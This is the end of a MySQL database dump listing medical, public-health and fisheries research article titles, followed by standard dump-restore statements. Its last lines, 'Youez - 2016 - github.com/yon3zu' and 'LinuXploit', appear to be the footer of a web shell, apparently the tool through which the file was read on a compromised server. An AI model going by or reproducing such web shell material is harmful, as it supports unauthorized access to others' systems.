(Ph.D.)',''),('5466','Chlorine manufacturing industry and Work-related voice disorders',''),('5467','High Blood Pressure ( HBP ) and Shift Work ( SW ) : An assessment of the French railways',''),('5389',' High blood pressure from ALUCAM group’s workers: the impact of the activity ',''),('5390','HBP and SHIFT WORK in SNCF',''),('4793','TRIMESTER RELATED REFERENCE INTERVAL LIMITS FOR HEMATOLOGICAL PARAMETERS FOR PREGNANT WOMEN OF TAITA-TAVETA COUNTY, KENYA',''),('4715','Status of distribution of coronavirus disease (COVID-19) in Ethiopia within first three months ',''),('4567','Dry needling versus soft tissue release to treat migraine headache: A randomized clinical trial',''),('3650','A success story: how Botswana is winning the war against Coronavirus',''),('3681','Prevalence, Determinants and Prevention of Type 2 Diabetes Mellitus (T2DM) in Arabic countries: A systematic Review Study ',''),('3337','Effects of Orally Ingested Paprika Xanthophylls on Respiratory Metabolism during Endurance Exercise: Study Protocol for an Interventional Randomised Controlled Trial',''),('3299','relationship between nursing job satisfaction and organizational commitment in KSA hospitals',''),('2922','Protein microarray analysis of soluble biomarkers in fertile and postmenopausal women in relation to obesity, bone status and blood cell populations.  ',''),('2974','Data Driven Statistical Modeling and Analysis of the Survival Times of Multiple Myeloma ',''),('550','Practice of Road Safety Measures among Kenyatta University and United States International University Students in Nairobi County, Kenya',''),('4567','Dry needling versus soft tissue release to treat migraine headache: A randomized clinical trial',''),('4715','Status of distribution of coronavirus disease (COVID-19) in Ethiopia within first three months ',''),('5958','Seasonal Variation of Fatty Acid composition of Phospholipid Subclasses in Muscle Tissue in Male, Alburnus mossulensis',''),('6571','EFFECT OF SUPPLEMENTAL AMINO ACID ON PERFORMANCE AND PROXIMATE COMPOSITION OF Clarias gariepinus (BURCHELL, 1822) FED ROASTED SOYABEAN BASED DIETS',''),('6665','Level of Active  Mental Health-Related Mass Media Female Students The during COVID-19 Pandemic',''),('6842','BLOOD FLOW RESTRICTION COMBINED WITH Kinaesthesia, Balance  Training for Osteoarthritis knee : A rare case report ','case report'),('7017','Cervical Radiculopathy Associated with Shingles Herpes Zoster Infection',''),('7040','ESMO ADVANCED COURSE ON NTRK GENE FUSION: Acquired resistance to NTRK inhibitors',''),('7200','Enzyme Inhibitory and Antioxidant activities of Sterculia tragacantha Lindl Leaves in the Management of Type II Diabetes Mellitus',''),('7449','MALE PARTNERS INVOLVEMENT AND ASSOCIATED FACTORS IN PREVENTION OF MOTHER TO CHILD TRANSMISSION OF HIV IN EAST BADAWACHO DISTRICT, HADIYA ZONE, SOUTHERN ETHIOPIA',''),('7556','Prevalence and characterization of bacterial and yeast vaginal infections in a public health institution of Ouagadougou, Burkina Faso.',''),('7629','Editorial note on COVID 19: Latest updates and drug developments',''),('7880','ALVEOCOCCUS MULTILOCULARIS (LEUCKART, 1858; ABULADSE, 1960) PREVALENCE, SOURCES AND FACTORS OF PATHOGEN TRANSMISSION IN THE ARCTIC ZONE OF YAKUTIA',''),('8188','Scales: Dermal Structures of Fish','FIsh Stock and sustainable yield'),('8211','The major criteria behind the Fish Farming/Psiciculture','FIsh Stock and sustainable yield'),('8212','Varicella Hospitalizations and Community-Acquired Methicillin-Resistant Staphylococcus aureus','Immunoprofiling'),('8213','Association between Meningococcal Meningitis and Santa Ana Winds in Children and Adolescents from Tijuana, Mexico','Immunoprofiling'),('8243','A Computational and Literature-Based Evaluation for a Combination of Chiral Anti-CoV Drugs to Block and Eliminate SARS-CoV-2 Safely','Resolution of second wave of coronavirus'),('8328','Cardio-Cerebral Infarction Syndrome: Definition, Diagnosis, Pathophysiology and Treatment',''),('8418','Effect of COVID – 19 pandemic in  fisheries and fisherman of  rural area.','Effect of COVID – 19 pandemic in  fisheries and fisherman of  rural area.'),('8504','Assessment of Low Birth Weight and Responsible Factors for Newborn Infants in Tepi General Hospital, South Western Ethiopia',''),('8511','CARDIORESPIRATORY EVENTS IN CHILDREN DURING CHEMOEMBOLIZATION OF OPHTHALMIC ARTERY FOR RETINOBLASTOMA','neurosurgery'),('8671','Mucoadhesive Buccal Drug Delivery System : A Review',''),('8796','Comparison of Covid-19 Vaccines Globally : an overview ',''),('9179','A Case Report- Management of a patient with severe trismus with bilateral recurrent pericoronitis along with chronic Oral Submucous Fibrosis- A premalignant lesion',''),('10247','Genotyping of Hepatitis C Virus isolated from Libyan patients by line immune Probe Assay ( LiPA ) ',''),('10731','Brief note on Usage of Biochemicals in Immunotherapy ','');
/*!40000 ALTER TABLE `test_tbl` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Dumping routines for database 'scholars_imt'
--
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2024-05-29 11:36:33

Youez - 2016 - github.com/yon3zu
LinuXploit